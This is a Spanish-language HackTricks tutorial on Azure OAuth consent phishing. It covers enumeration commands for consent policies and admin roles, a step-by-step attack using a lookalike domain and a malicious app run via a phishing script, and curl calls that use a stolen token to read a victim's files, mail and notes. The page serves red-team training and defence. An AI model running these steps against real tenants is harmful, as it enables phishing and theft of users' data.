Az - OAuth Apps Phishing

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Phishing de Aplicaciones OAuth

Las Aplicaciones de Azure están configuradas con los permisos que podrán usar cuando un usuario consienta la aplicación (como enumerar el directorio, acceder a archivos o realizar otras acciones). Tenga en cuenta que la aplicación actuará en nombre del usuario, por lo que incluso si la aplicación pudiera estar pidiendo permisos de administración, si el usuario que lo consiente no tiene ese permiso, la aplicación no podrá realizar acciones administrativas.

Permisos de consentimiento de la aplicación

Por defecto, cualquier usuario puede dar consentimiento a las aplicaciones, aunque esto se puede configurar para que los usuarios solo puedan consentir aplicaciones de editores verificados para permisos seleccionados o incluso eliminar el permiso para que los usuarios consientan aplicaciones.

Si los usuarios no pueden consentir, los administradores como GA, Application Administrator o Cloud Application Administrator pueden consentir las aplicaciones que los usuarios podrán usar.

Además, si los usuarios solo pueden consentir aplicaciones que utilizan permisos de bajo riesgo, estos permisos son por defecto openid, profile, email, User.Read y offline_access, aunque es posible agregar más a esta lista.

Y si pueden consentir a todas las aplicaciones, pueden consentir a todas las aplicaciones.

2 Tipos de ataques

  • No autenticado: Desde una cuenta externa, crear una aplicación con los permisos de bajo riesgo User.Read y User.ReadBasic.All, por ejemplo, phishing a un usuario, y podrás acceder a la información del directorio.
  • Esto requiere que el usuario phished esté capaz de aceptar aplicaciones OAuth de un inquilino externo.
  • Si el usuario phished es un administrador que puede consentir cualquier aplicación con cualquier permiso, la aplicación también podría solicitar permisos privilegiados.
  • Autenticado: Habiendo comprometido un principal con suficientes privilegios, crear una aplicación dentro de la cuenta y phishing a algún usuario privilegiado que pueda aceptar permisos OAuth privilegiados.
  • En este caso, ya puedes acceder a la información del directorio, por lo que el permiso User.ReadBasic.All ya no es interesante.
  • Probablemente estés interesado en permisos que requieren que un administrador los otorgue, porque un usuario normal no puede dar a las aplicaciones OAuth ningún permiso, por eso necesitas phishing solo a esos usuarios (más sobre qué roles/permisos otorgan este privilegio más adelante).

Los usuarios pueden consentir

Tenga en cuenta que necesita ejecutar este comando desde un usuario dentro del inquilino, no puede encontrar esta configuración de un inquilino desde uno externo. El siguiente cli puede ayudarte a entender los permisos de los usuarios:

az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/authorizationPolicy"
  • Los usuarios pueden consentir todas las aplicaciones: Si dentro de permissionGrantPoliciesAssigned puedes encontrar: ManagePermissionGrantsForSelf.microsoft-user-default-legacy entonces los usuarios pueden aceptar cada aplicación.
  • Los usuarios pueden consentir aplicaciones de editores verificados o de tu organización, pero solo para los permisos que selecciones: Si dentro de permissionGrantPoliciesAssigned puedes encontrar: ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team entonces los usuarios pueden aceptar cada aplicación.
  • Deshabilitar el consentimiento del usuario: Si dentro de permissionGrantPoliciesAssigned solo puedes encontrar: ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chat y ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team entonces los usuarios no pueden consentir nada.

Es posible encontrar el significado de cada una de las políticas comentadas en:

az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/permissionGrantPolicies"

Administradores de Aplicaciones

Verifique los usuarios que son considerados administradores de aplicaciones (pueden aceptar nuevas aplicaciones):

# Get list of roles
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles"

# Get Global Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"

# Get Application Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"

# Get Cloud Applications Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"

Descripción general del flujo de ataque

El ataque implica varios pasos dirigidos a una empresa genérica. Así es como podría desarrollarse:

  1. Registro de dominio y alojamiento de la aplicación: El atacante registra un dominio que se asemeja a un sitio de confianza, por ejemplo, “safedomainlogin.com”. Bajo este dominio, se crea un subdominio (por ejemplo, “companyname.safedomainlogin.com”) para alojar una aplicación diseñada para capturar códigos de autorización y solicitar tokens de acceso.
  2. Registro de la aplicación en Azure AD: El atacante luego registra una Aplicación Multi-Tenant en su inquilino de Azure AD, nombrándola como la empresa objetivo para parecer legítima. Configuran la URL de redirección de la aplicación para que apunte al subdominio que aloja la aplicación maliciosa.
  3. Configuración de permisos: El atacante configura la aplicación con varios permisos de API (por ejemplo, Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Estos permisos, una vez otorgados por el usuario, permiten al atacante extraer información sensible en nombre del usuario.
  4. Distribución de enlaces maliciosos: El atacante elabora un enlace que contiene el id del cliente de la aplicación maliciosa y lo comparte con usuarios específicos, engañándolos para que otorguen consentimiento.

Ejemplo de ataque

  1. Registra una nueva aplicación. Puede ser solo para el directorio actual si estás usando un usuario del directorio atacado o para cualquier directorio si este es un ataque externo (como en la imagen siguiente).
  2. También establece la URI de redirección a la URL esperada donde deseas recibir el código para obtener tokens (http://localhost:8000/callback por defecto).
  1. Luego crea un secreto de aplicación:
  1. Selecciona permisos de API (por ejemplo, Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read)
  1. Ejecuta la página web (azure_oauth_phishing_example) que solicita los permisos:
# From https://github.com/carlospolop/azure_oauth_phishing_example
python3 azure_oauth_phishing_example.py --client-secret <client-secret> --client-id <client-id> --scopes "email,Files.ReadWrite.All,Mail.Read,Notes.Read.All,offline_access,openid,profile,User.Read"
  1. Envía la URL a la víctima
  2. En este caso http://localhost:8000
  3. Las víctimas necesitan aceptar el aviso:
  1. Usa el token de acceso para acceder a los permisos solicitados:
export ACCESS_TOKEN=<ACCESS_TOKEN>

# List drive files
curl -X GET \
https://graph.microsoft.com/v1.0/me/drive/root/children \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List eails
curl -X GET \
https://graph.microsoft.com/v1.0/me/messages \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List notes
curl -X GET \
https://graph.microsoft.com/v1.0/me/onenote/notebooks \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

Otras Herramientas

Post-Explotación

Phishing Post-Explotación

Dependiendo de los permisos solicitados, podrías acceder a diferentes datos del inquilino (lista de usuarios, grupos… o incluso modificar configuraciones) e información del usuario (archivos, notas, correos electrónicos…). Luego, puedes usar estos permisos para realizar esas acciones.

Administrador de Aplicaciones de Entra ID

Si lograste comprometer de alguna manera un principal de Entra ID que puede gestionar Aplicaciones en Entra ID, y hay aplicaciones que están siendo utilizadas por los usuarios del inquilino. Un administrador podría modificar los permisos que la aplicación está solicitando y agregar una nueva dirección de redirección permitida para robar los tokens.

  • Ten en cuenta que es posible agregar URIs de redirección (no es necesario eliminar la real) y luego enviar un enlace HTTP utilizando la URI de redirección del atacante, de modo que cuando el usuario siga el enlace, la autenticación ocurra automáticamente y el atacante reciba el token.
  • También es posible cambiar los permisos que la aplicación solicita para obtener más permisos de los usuarios, pero en ese caso el usuario necesitará aceptar nuevamente el aviso (incluso si ya había iniciado sesión).
  • Para realizar este ataque, el atacante NO NECESITA controlar el código de la aplicación, ya que podría simplemente enviar el enlace para iniciar sesión en la aplicación al usuario con la nueva URL en el parámetro redirect_uri.

Post Explotación de Aplicaciones

Consulta las secciones de Aplicaciones y Principales de Servicio de la página:

Az - EntraID Privesc

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks